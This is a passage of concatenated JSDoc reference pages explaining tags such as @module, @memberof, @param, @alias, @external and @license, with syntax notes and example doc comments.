tag with pre-ES2015 class ``` /** * @classdesc Toaster singleton. * @class * @hideconstructor */ var Toaster = (function() { var instance = null; function Toaster() {} /** * Toast an item. * * @alias toast * @memberof Toaster * @instance * @param {BreadyThing} item - The item to toast. * @return {Toast} A toasted bready thing. */ Toaster.prototype.toast = function(item) {}; return { /** * Get the Toaster instance. * * @alias Toaster.getInstance * @returns {Toaster} The Toaster instance. */ getInstance: function() { if (instance === null) { instance = new Toaster(); delete instance.constructor; } return instance; } }; })(); ``` @hideconstructor tag with ES2015 class ``` /** * Waffle iron singleton. */ class WaffleIron { #instance = null; /** * Create the waffle iron. * * @hideconstructor */ constructor() { if (#instance) { return #instance; } /** * Cook a waffle. * * @param {Batter} batter - The waffle batter. * @return {Waffle} The cooked waffle. */ this.cook = function(batter) {}; this.#instance = this; } /** * Get the WaffleIron instance. * * @return {WaffleIron} The WaffleIron instance. */ getInstance() { return new WaffleIron(); } } ``` Related Links ------------- [@class](tags-class) jsdoc @module @module ======= Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ `@module [[{<type>}] <moduleName>]` In JSDoc 3.3.0 and later, `<moduleName>` may include the `module:` prefix. In previous versions, you must omit this prefix. Note: If you provide a type, you *must* also provide a name. Overview -------- The @module tag marks the current file as being its own module. All symbols in the file are assumed to be members of the module unless documented otherwise. Link to a module (e.g. within a [@link](tags-inline-link) or [@see](tags-see) tag) using "module:moduleName". For example, "@module foo/bar" can be linked to using "{@link module:foo/bar}". If the module name is not provided, it is derived from the module's path and filename. For example, suppose I have a file `test.js`, located in the `src` directory, that contains the block comment `/** @module */`. Here are some scenarios for running JSDoc and the resulting module names for test.js: Derived module names if none is provided. ``` # from src/ jsdoc ./test.js # module name 'test' # from src's parent directory: jsdoc src/test.js # module name 'src/test' jsdoc -r src/ # module name 'test' ``` Examples -------- The following example shows the namepaths that are used for symbols in a module. The first symbol is a module-private, or "inner," variable--it can be only accessed within the module. The second symbol is a static function that is exported by the module. Basic @module use ``` /** @module myModule */ /** will be module:myModule~foo */ var foo = 1; /** will be module:myModule.bar */ var bar = function() {}; ``` When an exported symbol is defined as a member of `module.exports`, `exports`, or `this`, JSDoc infers that the symbol is a static member of the module. In the following example, the Book class is documented as a static member, "module:bookshelf.Book", with one instance member, "module:bookshelf.Book#title". Defining exported symbols as a member of 'this' ``` /** @module bookshelf */ /** @class */ this.Book = function (title) { /** The title. */ this.title = title; }; ``` In the following example, the two functions have the namepaths "module:color/mixer.blend" and "module:color/mixer.darken". Defining exported symbols as a member of 'module.exports' or 'exports' ``` /** @module color/mixer */ module.exports = { /** Blend two colours together. */ blend: function (color1, color2) {} }; /** Darkens a color. */ exports.darken = function (color, shade) {}; ``` See [Documenting JavaScript Modules](howto-commonjs-modules) for further examples. Related Links ------------- * [@exports](tags-exports) * [CommonJS Modules](howto-commonjs-modules) * [AMD Modules](howto-amd-modules) jsdoc @memberof @memberof ========= Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ * `@memberof <parentNamepath>` * `@memberof! <parentNamepath>` Overview -------- The @memberof tag identifies a member symbol that belongs to a parent symbol. By default, the @memberof tag documents member symbols as static members. For inner and instance members, you can use scoping punctuation after the namepath, or you can add the [@inner](tags-inner) or [@instance](tags-instance) tag. The "forced" @memberof tag, @memberof!, forces the object to be documented as belonging to a specific parent even if it appears to have a different parent. Examples -------- In the following example, the `hammer` function would normally be documented as a global function. That's because, in fact, it is a global function, but it is also a member of the `Tools` namespace, and that's how you wish to document it. The solution is to add a @memberof tag: Using @memberof ``` /** @namespace */ var Tools = {}; /** @memberof Tools */ var hammer = function() { }; Tools.hammer = hammer; ``` For instance members of a class, use the syntax "@memberof ClassName.prototype" or "@memberof ClassName#". Alternatively, you can combine "@memberof ClassName" with the "@instance" tag. Using @memberof with a class prototype ``` /** @class Observable */ create( 'Observable', { /** * This will be a static member, Observable.cache. * @memberof Observable */ cache: [], /** * This will be an instance member, Observable#publish. * @memberof Observable.prototype */ publish: function(msg) {}, /** * This will also be an instance member, Observable#save. * @memberof Observable# */ save: function() {}, /** * This will also be an instance member, Observable#end. * @memberof Observable * @instance */ end: function() {} } ); ``` The following example uses the forced @memberof tag, "@memberof!", to document a property of an object (Data#point) that is an instance member of a class (Data). When you use the @property tag to document a property, you cannot link to the property using its longname. We can force the property to be linkable by using "@alias" and "@memberof!" to tell JSDoc that Data#point.y should be documented as a member "point.y" of "Data#", rather than a member "y" of "point" of "Data#". Using @memberof! for object properties ``` /** @class */ function Data() { /** * @type {object} * @property {number} y This will show up as a property of `Data#point`, * but you cannot link to the property as {@link Data#point.y}. */ this.point = { /** * The @alias and @memberof! tags force JSDoc to document the * property as `point.x` (rather than `x`) and to be a member of * `Data#`. You can link to the property as {@link Data#point.x}. * @alias point.x * @memberof! Data# */ x: 0, y: 1 }; } ``` Related Links ------------- [@name](tags-name) jsdoc @global @global ======= Table of Contents ----------------- * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Overview -------- The @global tag specifies that a symbol should appear in the documentation as a *global* symbol. JSDoc ignores the symbol's actual scope within the source file. This tag is especially useful for symbols that are defined locally, then assigned to a global symbol. Examples -------- Use the @global tag to specify that a symbol should be documented as global. Document an inner variable as a global ``` (function() { /** @global */ var foo = 'hello foo'; this.foo = foo; }).apply(window); ``` Related Links ------------- * [@inner](tags-inner) * [@instance](tags-instance) * [@memberof](tags-memberof) * [@static](tags-static) jsdoc Including a README File Including a README File ======================= There are two ways to incorporate a `README` file into your documentation: 1. In the source paths to your JavaScript files, include the path to a Markdown file named `README.md`. JSDoc will use the first `README.md` file that it finds in your source paths. 2. Run JSDoc with the `-R/--readme` command-line option, specifying the path to your `README` file. This option is available in JSDoc 3.3.0 and later. The `README` file may have any name and extension, but it must be in Markdown format. The `-R/--readme` command-line option takes precedence over your source paths. If you use the `-R/--readme` command-line option, JSDoc will ignore any `README.md` files in your source paths. If you are using JSDoc's default template, the `README` file's contents will be rendered in HTML in the generated documentation's `index.html` file. Examples -------- Including a README file in your source paths ``` jsdoc path/to/js path/to/readme/README.md ``` Using the -R/--readme option ``` jsdoc --readme path/to/readme/README path/to/js ``` jsdoc @generator @generator ========== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Example](#example) Syntax ------ `@generator` Overview -------- The `@generator` tag indicates that a function is a [generator function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function*), meaning that it was declared using the syntax `function* foo() {}`. This tag is available in JSDoc 3.5.0 and later. In general, you do not need to use this tag, because JSDoc automatically detects generator functions and identifies them in the generated documentation. However, if you are writing a virtual comment for a generator function that does not appear in your code, you can use this tag to tell JSDoc that the function is a generator function. Example ------- The following example shows a virtual comment that uses the `@generator` tag: Virtual comment with @generator tag ``` /** * Generate numbers in the Fibonacci sequence. * * @generator * @function fibonacci * @yields {number} The next number in the Fibonacci sequence. */ ``` jsdoc @author @author ======= Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ `@author <name> [<emailAddress>]` Overview -------- The @author tag identifies the author of an item. In JSDoc 3.2 and later, if the author's name is followed by an email address enclosed in angle brackets, the default template will convert the email address to a `mailto:` link. Examples -------- Documenting the author of an item ``` /** * @author Jane Smith <[email protected]> */ function MyClass() {} ``` Related Links ------------- * [@file](tags-file) * [@version](tags-version) jsdoc @private @private ======== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ With the JSDoc tag dictionary (enabled by default): `@private` With the [Closure Compiler](https://github.com/google/closure-compiler/wiki/Annotating-JavaScript-for-the-Closure-Compiler#jsdoc-tags) tag dictionary: `@private [{typeExpression}]` Overview -------- The `@private` tag marks a symbol as private, or not meant for general use. Private members are not shown in the generated output unless JSDoc is run with the `-p/--private` command-line option. In JSDoc 3.3.0 and later, you can also use the [`-a/--access` command-line option](about-commandline) to change this behavior. The `@private` tag is not inherited by child members. For example, if the `@private` tag is added to a namespace, members of the namespace can still appear in the generated output; because the namespace is private, the members' namepath will not include the namespace. The `@private` tag is equivalent to `@access private`. Examples -------- In the following example, `Documents` and `Documents.Newspaper` appear in the generated documentation, but not `Documents.Diary`. Using the @private tag ``` /** @namespace */ var Documents = { /** * An ordinary newspaper. */ Newspaper: 1, /** * My diary. * @private */ Diary: 2 }; ``` Related Links ------------- * [@access](tags-access) * [@global](tags-global) * [@instance](tags-instance) * [@package](tags-package) * [@protected](tags-protected) * [@public](tags-public) * [@static](tags-static) jsdoc @inner @inner ====== Table of Contents ----------------- * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Overview -------- Using the @inner tag will mark a symbol as an inner member of its parent symbol. This means it can be referred to by "Parent~Child". Using @inner will override a doclet's default scope (unless it is in the global scope, in which case it will remain global). Examples -------- Using @inner to make a virtual doclet an inner member ``` /** @namespace MyNamespace */ /** * myFunction is now MyNamespace~myFunction. * @function myFunction * @memberof MyNamespace * @inner */ ``` Note that in the above we could have used "@function MyNamespace~myFunction" instead of the @memberof and @inner tags. Using @inner ``` /** @namespace */ var MyNamespace = { /** * foo is now MyNamespace~foo rather than MyNamespace.foo. * @inner */ foo: 1 }; ``` In the above example, we use @inner to force a member of a namespace to be documented as an inner member (by default, it would be a static member). This means that `foo` now has the longname `MyNamespace~foo` instead of `MyNamespace.foo`. Related Links ------------- * [@global](tags-global) * [@instance](tags-instance) * [@static](tags-static) jsdoc @fires @fires ====== Table of Contents ----------------- * [Synonyms](#synonyms) * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Synonyms -------- `@emits` Syntax ------ `@fires <className>#[event:]<eventName>` Overview -------- The @fires tag indicates that a method can fire a specified type of event when it is called. Use the [@event tag](tags-event) to document the event's content. Examples -------- Method that fires a 'drain' event ``` /** * Drink the milkshake. * * @fires Milkshake#drain */ Milkshake.prototype.drink = function() { // ... }; ``` Related Links ------------- * [@event](tags-event) * [@listens](tags-listens) jsdoc @alias @alias ====== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ `@alias <aliasNamepath>` Overview -------- The @alias tag causes JSDoc to treat all references to a member as if the member had a different name. This tag is especially useful if you define a class within an inner function; in this case, you can use the @alias tag to tell JSDoc how the class is exposed in your app. While the @alias tag may sound similar to the @name tag, these tags behave very differently. The @name tag tells JSDoc to ignore any code associated with the comment. For example, when JSDoc processes the following code, it ignores the fact that the comment for `bar` is attached to a function: ``` /** * Bar function. * @name bar */ function foo() {} ``` The @alias tag tells JSDoc to pretend that Member A is actually named Member B. For example, when JSDoc processes the following code, it recognizes that `foo` is a function, then renames `foo` to `bar` in the documentation: ``` /** * Bar function. * @alias bar */ function foo() {} ``` Examples -------- Suppose you are using a class framework that expects you to pass in a constructor function when you define a class. You can use the @alias tag to tell JSDoc how the class will be exposed in your app. In the following example, the @alias tag tells JSDoc to treat the anonymous function as if it were the constructor for the class "trackr.CookieManager". Within the function, JSDoc interprets the `this` keyword relative to trackr.CookieManager, so the "value" method has the namepath "trackr.CookieManager#value". Using @alias with an anonymous constructor function ``` Klass('trackr.CookieManager', /** * @class * @alias trackr.CookieManager * @param {Object} kv */ function(kv) { /** The value. */ this.value = kv; } ); ``` You can also use the @alias tag with members that are created within an immediately invoked function expression (IIFE). The @alias tag tells JSDoc that these members are exposed outside of the IIFE's scope. Using @alias for static members of a namespace ``` /** @namespace */ var Apple = {}; (function(ns) { /** * @namespace * @alias Apple.Core */ var core = {}; /** Documented as Apple.Core.seed */ core.seed = function() {}; ns.Core = core; })(Apple); ``` For members that are defined within an object literal, you can use the @alias tag as an alternative to the [@lends](tags-lends) tag. Using @alias for an object literal ``` // Documenting objectA with @alias var objectA = (function() { /** * Documented as objectA * @alias objectA * @namespace */ var x = { /** * Documented as objectA.myProperty * @member */ myProperty: 'foo' }; return x; })(); // Documenting objectB with @lends /** * Documented as objectB * @namespace */ var objectB = (function() { /** @lends objectB */ var x = { /** * Documented as objectB.myProperty * @member */ myProperty: 'bar' }; return x; })(); ``` Related Links ------------- * [@name](tags-name) * [@lends](tags-lends)
programming_docs
jsdoc @kind @kind ===== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ `@kind <kindName>` where `<kindName>` is one of: * class * constant * event * external * file * function * member * mixin * module * namespace * typedef Overview -------- The @kind tag is used to document what *kind* of symbol is being documented (for example, a class or a module). The *kind* of symbol differs from a symbol's *type* (for example, string or boolean). Usually you do not need the @kind tag, because the symbol's kind is determined by other tags in the doclet. For example, using the @class tag automatically implies "@kind class", and using the @namespace tag implies "@kind namespace". Examples -------- Using @kind ``` // The following examples produce the same result: /** * A constant. * @kind constant */ const asdf = 1; /** * A constant. * @constant */ const asdf = 1; ``` In the case of tags with conflicting kinds (for example, using both @module, which sets the kind to "module", and "@kind constant" which sets the kind to "constant"), the last tag determines the kind. Conflicting @kind statements ``` /** * This will show up as a constant * @module myModule * @kind constant */ /** * This will show up as a module. * @kind constant * @module myModule */ ``` Related Links ------------- [@type](tags-type) jsdoc @file @file ===== Table of Contents ----------------- * [Synonyms](#synonyms) * [Overview](#overview) * [Example](#example) * [Related Links](#related-links) Synonyms -------- * `@fileoverview` * `@overview` Overview -------- The @file tag provides a description for a file. Use the tag in a JSDoc comment at the beginning of the file. Example ------- File description ``` /** * @file Manages the configuration settings for the widget. * @author Rowina Sanela */ ``` Related Links ------------- * [@author](tags-author) * [@version](tags-version) jsdoc @enum @enum ===== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ `@enum [<type>]` Overview -------- The @enum tag documents a collection of static properties whose values are all of the same type. An enum is similar a collection of properties, except that an enum is documented in its own doc comment, whereas properties are documented within the doc comment of their container. Often this tag is used with @readonly, as an enum typically represents a collection of constants. Examples -------- This shows how to document an object that represents a value with three possible states. Note that the enum members can have optional descriptions added if you wish. Also you can override the type, as is shown with "MAYBE" -- by default enum members will be documented with the same type as the enum itself. A numeric enum, representing three states ``` /** * Enum for tri-state values. * @readonly * @enum {number} */ var triState = { /** The true value */ TRUE: 1, FALSE: -1, /** @type {boolean} */ MAYBE: true }; ``` Related Links ------------- [@property](tags-property) jsdoc @borrows @borrows ======== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) Syntax ------ `@borrows <that namepath> as <this namepath>` Overview -------- The @borrows tag allows you to add documentation for another symbol to your documentation. This tag would be useful if you had more than one way to reference a function, but you didn't want to duplicate the same documentation in two places. Examples -------- In this example there exists documentation for the "trstr" function, but "util.trim" is just a reference to that same function by a different name. Duplicate the documentation for trstr as util.trim ``` /** * @namespace * @borrows trstr as trim */ var util = { trim: trstr }; /** * Remove whitespace from around a string. * @param {string} str */ function trstr(str) { } ``` jsdoc @external @external ========= Table of Contents ----------------- * [Synonyms](#synonyms) * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) Synonyms -------- `@host` Syntax ------ `@external <NameOfExternal>` Overview -------- The `@external` tag identifies a class, namespace, or module that is defined outside of the current package. By using this tag, you can document your package's extensions to the external symbol, or you can provide information about the external symbol to your package's users. You can also refer to the external symbol's namepath in any other JSDoc tag. The namepath for an external symbol always uses the prefix `external:` (for example, `{@link external:Foo}` or `@augments external:Foo`). However, you can omit this prefix from the `@external` tag. **Note**: You should only add the `@external` tag to the highest-level symbol that is defined outside of your project. See "[Documenting a nested external symbol](#nested-external-symbol)" for an example. Examples -------- The following example shows how to document the built-in `String` object as an external, along with the new instance method `external:String#rot13`: Documenting methods added to built-in classes ``` /** * The built in string object. * @external String * @see {@link https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String|String} */ /** * Create a ROT13-encoded version of the string. Added by the `foo` package. * @function external:String#rot13 * @example * var greeting = new String('hello world'); * console.log( greeting.rot13() ); // uryyb jbeyq */ ``` The following example documents a new `starfairy` function added to the external namespace `"jQuery.fn"`: Documenting external namespaces ``` /** * The jQuery plugin namespace. * @external "jQuery.fn" * @see {@link http://learn.jquery.com/plugins/|jQuery Plugins} */ /** * A jQuery plugin to make stars fly around your home page. * @function external:"jQuery.fn".starfairy */ ``` In the following example, the class `EncryptedRequest` is documented as a subclass of the built-in class `XMLHttpRequest`: Extending an external. ``` /** * The built-in class for sending HTTP requests. * @external XMLHttpRequest * @see https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest */ /** * Extends the built-in `XMLHttpRequest` class to send data encoded with a secret key. * @class EncodedRequest * @extends external:XMLHttpRequest */ ``` You should only add the `@external` tag to the highest-level symbol that is defined outside of your project. In the following example, the documentation refers to the external class `security.TLS`. As a result, the `@external` tag is used to document the external namespace `external:security`, but *not* the external class `external:security.TLS`. Documenting a nested external symbol ``` /** * External namespace for security-related classes. * @external security * @see http://example.org/docs/security */ /** * External class that provides Transport Layer Security (TLS) encryption. * @class TLS * @memberof external:security */ ``` jsdoc {@tutorial} {@tutorial} =========== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ ``` {@tutorial tutorialID} [link text]{@tutorial tutorialID} {@tutorial tutorialID|link text} {@tutorial tutorialID link text (after the first space)} ``` Overview -------- The `{@tutorial}` inline tag creates a link to the tutorial identifier that you specify. When you use the `{@tutorial}` tag, you can also provide link text, using one of several different formats. If you don't provide any link text, JSDoc uses the tutorial's title as the link text. If you need to link to a namepath or a URL, use the [`{@link}` inline tag](tags-inline-link) instead of the `{@tutorial}` tag. Examples -------- The following example shows all of the ways to provide link text for the `{@tutorial}` tag: Providing link text ``` /** * See {@tutorial gettingstarted} and [Configuring the Dashboard]{@tutorial dashboard}. * For more information, see {@tutorial create|Creating a Widget} and * {@tutorial destroy Destroying a Widget}. */ function myFunction() {} ``` If all of these tutorials are defined, and the title of the `gettingstarted` tutorial is "Getting Started," the example above produces output similar to the following: Output for {@link} tags ``` See <a href="tutorial-gettingstarted.html">Getting Started</a> and <a href="tutorial-dashboard.html">Configuring the Dashboard</a>. For more information, see <a href="tutorial-create.html">Creating a Widget</a> and <a href="tutorial-destroy.html">Destroying a Widget</a>. ``` Related Links ------------- [@tutorial](tags-tutorial) jsdoc @param @param ====== Table of Contents ----------------- * [Synonyms](#synonyms) * [Overview](#overview) * [Examples](#examples) + [Names, types, and descriptions](#names-types-and-descriptions) + [Parameters with properties](#parameters-with-properties) + [Optional parameters and default values](#optional-parameters-and-default-values) + [Multiple types and repeatable parameters](#multiple-types-and-repeatable-parameters) + [Callback functions](#callback-functions) * [Related Links](#related-links) Synonyms -------- * `@arg` * `@argument` Overview -------- The `@param` tag provides the name, type, and description of a function parameter. The `@param` tag requires you to specify the name of the parameter you are documenting. You can also include the parameter's type, enclosed in curly brackets, and a description of the parameter. The parameter type can be a built-in JavaScript type, such as `string` or `Object`, or a [JSDoc namepath](about-namepaths) to another symbol in your code. If you have written documentation for the symbol at that namepath, JSDoc will automatically link to the documentation for that symbol. You can also use a type expression to indicate, for example, that a parameter is not nullable or can accept any type; see the [`@type` tag documentation](tags-type) for details. If you provide a description, you can make the JSDoc comment more readable by inserting a hyphen before the description. Be sure to include a space before and after the hyphen. Examples -------- ### Names, types, and descriptions The following examples show how to include names, types, and descriptions in a `@param` tag. Name only ``` /** * @param somebody */ function sayHello(somebody) { alert('Hello ' + somebody); } ``` Name and type ``` /** * @param {string} somebody */ function sayHello(somebody) { alert('Hello ' + somebody); } ``` Name, type, and description ``` /** * @param {string} somebody Somebody's name. */ function sayHello(somebody) { alert('Hello ' + somebody); } ``` You can add a hyphen before the description to make it more readable. Be sure to include a space before and after the hyphen. Name, type, and description, with a hyphen before the description ``` /** * @param {string} somebody - Somebody's name. */ function sayHello(somebody) { alert('Hello ' + somebody); } ``` ### Parameters with properties If a parameter is expected to have a specific property, you can document that property by providing an additional `@param` tag. For example, if an `employee` parameter is expected to have `name` and `department` properties, you can document it as follows: Documenting a parameter's properties ``` /** * Assign the project to an employee. * @param {Object} employee - The employee who is responsible for the project. * @param {string} employee.name - The name of the employee. * @param {string} employee.department - The employee's department. */ Project.prototype.assign = function(employee) { // ... }; ``` If a parameter is destructured without an explicit name, you can give the object an appropriate one and document its properties. Documenting a destructuring parameter ``` /** * Assign the project to an employee. * @param {Object} employee - The employee who is responsible for the project. * @param {string} employee.name - The name of the employee. * @param {string} employee.department - The employee's department. */ Project.prototype.assign = function({ name, department }) { // ... }; ``` You can also combine this syntax with JSDoc's syntax for array parameters. For example, if multiple employees can be assigned to a project: Documenting properties of values in an array ``` /** * Assign the project to a list of employees. * @param {Object[]} employees - The employees who are responsible for the project. * @param {string} employees[].name - The name of an employee. * @param {string} employees[].department - The employee's department. */ Project.prototype.assign = function(employees) { // ... }; ``` ### Optional parameters and default values The following examples show how to indicate that a parameter is optional and has a default value. An optional parameter (using JSDoc syntax) ``` /** * @param {string} [somebody] - Somebody's name. */ function sayHello(somebody) { if (!somebody) { somebody = 'John Doe'; } alert('Hello ' + somebody); } ``` An optional parameter (using Google Closure Compiler syntax) ``` /** * @param {string=} somebody - Somebody's name. */ function sayHello(somebody) { if (!somebody) { somebody = 'John Doe'; } alert('Hello ' + somebody); } ``` An optional parameter and default value ``` /** * @param {string} [somebody=John Doe] - Somebody's name. */ function sayHello(somebody) { if (!somebody) { somebody = 'John Doe'; } alert('Hello ' + somebody); } ``` ### Multiple types and repeatable parameters The following examples show how to use type expressions to indicate that a parameter can accept multiple types (or any type), and that a parameter can be provided more than once. See the [`@type` tag documentation](tags-type) for details about the type expressions that JSDoc supports. Allows one type OR another type (type union) ``` /** * @param {(string|string[])} [somebody=John Doe] - Somebody's name, or an array of names. */ function sayHello(somebody) { if (!somebody) { somebody = 'John Doe'; } else if (Array.isArray(somebody)) { somebody = somebody.join(', '); } alert('Hello ' + somebody); } ``` Allows any type ``` /** * @param {*} somebody - Whatever you want. */ function sayHello(somebody) { console.log('Hello ' + JSON.stringify(somebody)); } ``` Allows a parameter to be repeated ``` /** * Returns the sum of all numbers passed to the function. * @param {...number} num - A positive or negative number. */ function sum(num) { var i = 0, n = arguments.length, t = 0; for (; i < n; i++) { t += arguments[i]; } return t; } ``` ### Callback functions If a parameter accepts a callback function, you can use the [`@callback` tag](tags-callback) to define a callback type, then include the callback type in the `@param` tag. Parameters that accept a callback ``` /** * This callback type is called `requestCallback` and is displayed as a global symbol. * * @callback requestCallback * @param {number} responseCode * @param {string} responseMessage */ /** * Does something asynchronously and executes the callback on completion. * @param {requestCallback} cb - The callback that handles the response. */ function doSomethingAsynchronously(cb) { // code }; ``` Related Links ------------- * [@callback](tags-callback) * [@returns](tags-returns) * [@type](tags-type) * [@typedef](tags-typedef) jsdoc @property @property ========= Table of Contents ----------------- * [Synonyms](#synonyms) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Synonyms -------- `@prop` Overview -------- The @property tag is a way to easily document a list of static properties of a class, namespace or other object. Normally JSDoc templates would create an entire new page to display information about each level of a nested namespace hierarchy. Sometimes what you really want is to just list all the properties, including nested properties, all together on the same page. Note that property tags must be used in doc comments for the thing that they are properties of, a namespace or a class for example. This tag is intended for simple collections of static properties, it does not allow you to provide @examples or similar complex information for each property, just the type, name and description. Examples -------- In this example we have a namespace named "config." We want all the information about the defaults property, including its nested values, to appear on the same page with the documentation for config. A namespace with defaults and nested default properties ``` /** * @namespace * @property {object} defaults - The default values for parties. * @property {number} defaults.players - The default number of players. * @property {string} defaults.level - The default level for the party. * @property {object} defaults.treasure - The default treasure. * @property {number} defaults.treasure.gold - How much gold the party starts with. */ var config = { defaults: { players: 1, level: 'beginner', treasure: { gold: 0 } } }; ``` The following example shows how to indicate that a property is optional. A type definition with required and optional property ``` /** * User type definition * @typedef {Object} User * @property {string} email * @property {string} [nickName] */ ``` Related Links ------------- * [@enum](tags-enum) * [@member](tags-member) jsdoc @name @name ===== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ `@name <namePath>` Overview -------- The @name tag forces JSDoc to associate the remainder of the JSDoc comment with the given name, ignoring all surrounding code. This tag is best used in "virtual comments" for symbols that are not readily visible in the code, such as methods that are generated at runtime. When you use the @name tag, you must provide additional tags that tell JSDoc what kind of symbol you are documenting; whether the symbol is a member of another symbol; and so on. If you do not provide this information, the symbol will not be documented correctly. **Warning**: By using the @name tag, you are telling JSDoc to *ignore the surrounding code* and treat your documentation comment in isolation. In many cases, it is best to use the [@alias tag](tags-alias) instead, which changes a symbol's name in the documentation but preserves other information about the symbol. Examples -------- The following example shows how to use the @name tag to document a function that JSDoc would not normally recognize. Using the @name tag ``` /** * @name highlightSearchTerm * @function * @global * @param {string} term - The search term to highlight. */ eval("window.highlightSearchTerm = function(term) {};") ``` Related Links ------------- * [Using namepaths with JSDoc 3](about-namepaths) * [@alias](tags-alias) jsdoc @license @license ======== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) Syntax ------ `@license <identifier>` Overview -------- The `@license` tag identifies the software license that applies to any portion of your code. You can use any text to identify the license you are using. If your code uses a standard open-source license, consider using the appropriate identifier from the [Software Package Data Exchange (SPDX) License List](https://spdx.org/licenses/). Some JavaScript processing tools, such as Google's Closure Compiler, will automatically preserve any JSDoc comment that includes a `@license` tag. If you are using one of these tools, you may wish to add a standalone JSDoc comment that includes the `@license` tag, along with the entire text of the license, so that the license text will be included in generated JavaScript files. Examples -------- A module that is distributed under the Apache License 2.0 ``` /** * Utility functions for the foo package. * @module foo/util * @license Apache-2.0 */ ``` A standalone JSDoc comment with the complete MIT license ``` /** * @license * Copyright (c) 2015 Example Corporation Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ ```
programming_docs
jsdoc @abstract @abstract ========= Table of Contents ----------------- * [Synonyms](#synonyms) * [Overview](#overview) * [Example](#example) Synonyms -------- `@virtual` Overview -------- The @abstract tag identifies members that must be implemented (or overridden) by objects that inherit the member. Example ------- Parent class with abstract method, and child class that implements the method ``` /** * Generic dairy product. * @constructor */ function DairyProduct() {} /** * Check whether the dairy product is solid at room temperature. * @abstract * @return {boolean} */ DairyProduct.prototype.isSolid = function() { throw new Error('must be implemented by subclass!'); }; /** * Cool, refreshing milk. * @constructor * @augments DairyProduct */ function Milk() {} /** * Check whether milk is solid at room temperature. * @return {boolean} Always returns false. */ Milk.prototype.isSolid = function() { return false; }; ``` jsdoc @protected @protected ========== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ With the JSDoc tag dictionary (enabled by default): `@protected` With the [Closure Compiler](https://github.com/google/closure-compiler/wiki/Annotating-JavaScript-for-the-Closure-Compiler#jsdoc-tags) tag dictionary: `@protected [{typeExpression}]` Overview -------- The `@protected` tag marks a symbol as protected. Typically, this tag indicates that a symbol is only available, or should only be used, within the current module. By default, symbols marked with the `@protected` tag will appear in your documentation. In JSDoc 3.3.0 and later, you can use the [`-a/--access` command-line option](about-commandline) to change this behavior. The `@protected` tag is equivalent to `@access protected`. Examples -------- In the following example, the instance member `Thingy#_bar` appears in the generated documentation, but with an annotation indicating that it is protected: Using the @protected tag ``` /** @constructor */ function Thingy() { /** @protected */ this._bar = 1; } ``` Related Links ------------- * [@access](tags-access) * [@global](tags-global) * [@instance](tags-instance) * [@package](tags-package) * [@private](tags-private) * [@public](tags-public) * [@static](tags-static) jsdoc @tutorial @tutorial ========= Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ ``` @tutorial ``` Overview -------- The `@tutorial` tag inserts a link to a tutorial file that is provided as part of the documentation. See the [tutorials overview](about-tutorials) for instructions on creating tutorials. You can use the `@tutorial` tag more than once in a single JSDoc comment. Examples -------- In the following example, the documentation for `MyClass` will link to the tutorials that have the identifiers `tutorial-1` and `tutorial-2`: Using the @tutorial tag ``` /** * Description * @class * @tutorial tutorial-1 * @tutorial tutorial-2 */ function MyClass() {} ``` Related Links ------------- * [Tutorials](about-tutorials) * [{@tutorial}](tags-inline-tutorial) * [@see](tags-see) jsdoc Tutorials Tutorials ========= Table of Contents ----------------- * [Adding tutorials](#adding-tutorials) * [Configuring titles, order, and hierarchy](#configuring-titles-order-and-hierarchy) * [Linking to tutorials from API documentation](#linking-to-tutorials-from-api-documentation) + [@tutorial block tag](#tutorial-block-tag) + [{@tutorial} inline tag](#tutorial-inline-tag) JSDoc allows you to include tutorials alongside your API documentation. You can use this feature to provide detailed instructions for using your API, such as a "getting started" guide or a step-by-step process for implementing a feature. Adding tutorials ---------------- To add tutorials to 